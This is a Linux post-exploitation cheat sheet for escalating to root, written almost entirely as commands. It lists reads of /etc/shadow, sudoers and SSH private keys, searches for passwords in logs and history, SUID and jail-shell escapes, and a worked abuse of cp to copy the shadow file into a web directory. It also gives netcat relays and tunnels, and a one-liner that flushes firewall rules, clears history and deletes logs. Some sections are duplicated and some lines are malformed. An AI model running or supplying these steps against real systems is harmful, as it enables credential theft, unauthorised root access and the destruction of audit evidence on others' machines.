Linux Enumeration for Escalation Root Access
=== Operating System ===
## What's the distribution type? What version?
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
uname -n // System hostname
hostname // As above
## What's the Kernel version? Is it 64-bit?
cat /proc/version
uname -a
uname -r // Kernel release
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
cat /proc/cpuinfo // CPU information
=== What can be learnt from the environmental variables? ===
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
=== Is there a printer? ===
lpstat -a
=== Users & Groups: ===
cat /etc/passwd
cat /etc/group // List all groups on the system
cat /etc/shadow // Show user hashes – Privileged command
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' List all super user accounts
finger // Users currently logged in
pinky // As above
users // As above
who -a // As above
w // Who is currently logged in and what they’re doing
last // Listing of last logged on users
lastlog // Information on when all users last logged in
lastlog --user root // Information on when the specified user last logged in
=== User & Privilege Information: ===
whoami
id
cat /etc/sudoers // Who’s allowed to do what as root – Privileged command
sudo -l // Can the current user perform anything as root
cat /etc/passwd | cut -d: # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
## What has the user is doing? Is there any password in plain text? What have they been editing?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
What user information can be found?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
ps aux | grep root
ps -ef | grep root
What applications are installed? What version are they? Are they currently running?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
=== Environmental Information: ===
env // Display environmental variables
set // As above
echo $PATH // Path information
history // Displays command history of current user
cat /etc/profile // Display default system variables
## Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
ps aux | grep root
ps -ef | grep root
=== What applications are installed? What version are they? Are they currently running? ===
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
=== Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached? ===
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
ps aux | grep root // View services running as root
cat /etc/inetd.conf // List services managed by inetd
cat /etc/xinetd.conf // As above for xinetd
=== Installed programs ===
dpkg -l Installed packages (Debian)
rpm -qa Installed packages (Red Hat)
sudo -V Sudo version – does an exploit exist?
httpd -v Apache version
apache2 -v As above
apache2ctl (or apachectl) -M List loaded Apache modules
mysql --version Installed MYSQL version details
perl -v Installed Perl version details
java -version Installed Java version details
python --version Installed Python version details
ruby -v Installed Ruby version details
find / -name %program_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc) Locate ‘useful’ programs (netcat, wget etc)
which %program_name% (i.e. nc, netcat, wget, nmap etc) As above
=== SSH info ? ===
## Can private-key information be found?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
=== Jobs/Tasks: ===
crontab -l -u %username% // Display scheduled jobs for the specified user – Privileged command
ls -la /etc/cron* // Scheduled jobs overview (hourly, daily, monthly etc)
ls -aRl /etc/cron* | awk '$1 ~ /w.$/' 2>/dev/null // What can ‘others’ write in /etc/cron* directories
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
ls -alh /etc/cron.daily
ls -alh /etc/cron.weekly
ls -alh /etc/cron.monthly
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
=== Interesting Files: ===
find /home –name .rhosts -print 2>/dev/null // Find rhost config files
ls -ahlR /root/ // See if you can access other user directories to find interesting files – Privileged command
cat ~/.bash_history // Show the current users’ command history
ls -la ~/._history // Show the current users’ various history files
ls -la ~/.ssh/ Check // for interesting ssh files in the current users’ directory
ls -la /usr/sbin/in.* // Check Configuration of inetd services
find /var/log -type f -exec ls -la {} ; 2>/dev/null List files in specified directory (/var/log)
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null List .log files in specified directory (/var/log)
find /etc/ -maxdepth 1 -name .conf -type f -exec ls -la {} ; 2>/dev/null List .conf files in /etc (recursive 1 level)
ls -la /etc/.conf As above
lsof -i -n ## List open files (output will depend on account privileges)
lsof -u root ## lists all open files and processes by user root
## Which configuration files can be written in /etc/? Able to reconfigure a service?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
## Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null # world-writable folders
find / -perm -222 -type d 2>/dev/null # world-writable folders
find / -perm -o+w -type d 2>/dev/null # world-writable folders
find / -perm -o+x -type d 2>/dev/null # world-executable folders
find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # world-writable & executable folders
## Any "problem" files? Word-writable, "nobody" files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writable files
find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files
## What sensitive files can be found?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
## Anything "interesting" in the home directorie(s)? If it's possible to access
ls -ahlR /root/
ls -ahlR /home/
## What can be found in /var/ ?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
## Any settings/files (hidden) on website? Any settings file with database information?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
## Is there anything in the log file(s) (Could help with "Local File Includes"!)
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
## Search for specific strings inside a file
file ./somefile ## file info
strings ./*.txt | grep password
find / -name “*.log” |xargs grep -i pass
grep -l -i pass /var/log/*.log 2>/dev/null
find / -maxdepth 10 -name *.conf -type f | grep -Hn pass; 2>/dev/null // searches for the string 'password' and output the line number
find / -maxdepth 10 -name *etc* -type f | grep -Hn pass; 2>/dev/null //as above, but in *etc*
grep -l -i pass /var/log/*.log 2>/dev/null Check log files for keywords (‘pass’ in this example) and show positive matches
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null Find .conf files (recursive 4 levels) and output line number where the word password is located
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
hexeditor ./file
objdump -D -M intel ./file
objdump -D -M x86-64 ./file >> dump64.file
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
find / -name "network-secret.txt"
locate "network-secret.txt"
=== Permissions ===
## What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID
find / -perm -u=s -type f 2>/dev/null #Find FILES that have the sticky bit set.
find / -perm -1000 -type d 2>/dev/null # Find DIRECTORIES w/ Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
## Where can be written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null # world-writable folders
find / -perm -222 -type d 2>/dev/null # world-writable folders
find / -perm -o+w -type d 2>/dev/null # world-writable folders
find / -perm -o+x -type d 2>/dev/null # world-executable folders
find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # world-writable & executable folders
Any "problem" files? Word-writable, "nobody" files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writable files
find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files
Example:
## We found cp (copy) in the above list and now we are abusing it:
cp -f --no-preserve=all /etc/shadow /var/www/html/joomla/shadow.txt
Few things to keep in mind:
## (1) at the destination, the file owner will be root but the group will be that of the current user and
## (2) notice the use of "--no-preserve" this is needed to read out protected files.
## A lot of ways we can abuse this, update the shadow file with a new account, modify sudoers, plant ssh key + modify sshd_config ## + reboot,or cron.hourly.
== File system ==
df -ah // all FS info, including pseudo, duplicate, INACCESSIBLE file systems
## Are there any unmounted file-systems?
cat /etc/fstab
=== Networking, Routing & Communications: ===
/sbin/ifconfig -a // List all network interfaces
cat /etc/network/interfaces // As above
cat /etc/sysconfig/network
arp -a Display ARP communications
route Display route information
cat /etc/resolv.conf Show configured DNS sever addresses
netstat -antp List all TCP sockets and related PIDs (-p Privileged command)
netstat -anup List all UDP sockets and related PIDs (-p Privileged command)
iptables -L List rules – Privileged command
cat /etc/services View port numbers/services mappings
=== What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway? ===
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
=== Common Shell Escape Sequences: ===
## If commands are limited, you break out of the "jail" shell?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
:!bash vi, vim
:set shell=/bin/bash:shell vi, vim
!bash man, more, less
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ; find
awk 'BEGIN {system("/bin/bash")}' awk
--interactive nmap
perl -e 'exec "/bin/bash";' Perl
=== What other users & hosts are communicating with the system? ===
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
=== Whats cached? IP and/or MAC addresses ===
arp -e
route
/sbin/route -nee
=== Is packet sniffing possible? What can be seen? Listen to live traffic ===
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
tcpdump -n dst host 192.168.1.5 -vvv -n -w file.cap
=== Is port forwarding possible? Redirect and interact with traffic from another view ==
# rinetd
http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
# fpipe
FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
## Is tunneling possible? Send commands locally, remotely
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
#copy bash to a new subshell
mount an NFS share from a remote server, copy bash from local to remote and execute
cp -p ./bash /mnt/share/newbash
./newbash -p
=== Preparation & Finding Exploit Code ===
## What development tools/languages are installed/supported?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
## How can files be uploaded?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
#copy files with SSH
scp username@b:/path/to/file /path/to/destination //while being logged into Ascp /path/to/file username@a:/path/to/destination //while being logged into B
#compile C with gcc
gcc ./ajaira_exploit.c -o exploit
#clear history, iptables and logs
iptables -F; history -c; find ./ -name “*.log” |xargs rm -f
# Postfix version
postconf -d | grep mail_vers
./Will_be_continue | everything is collected
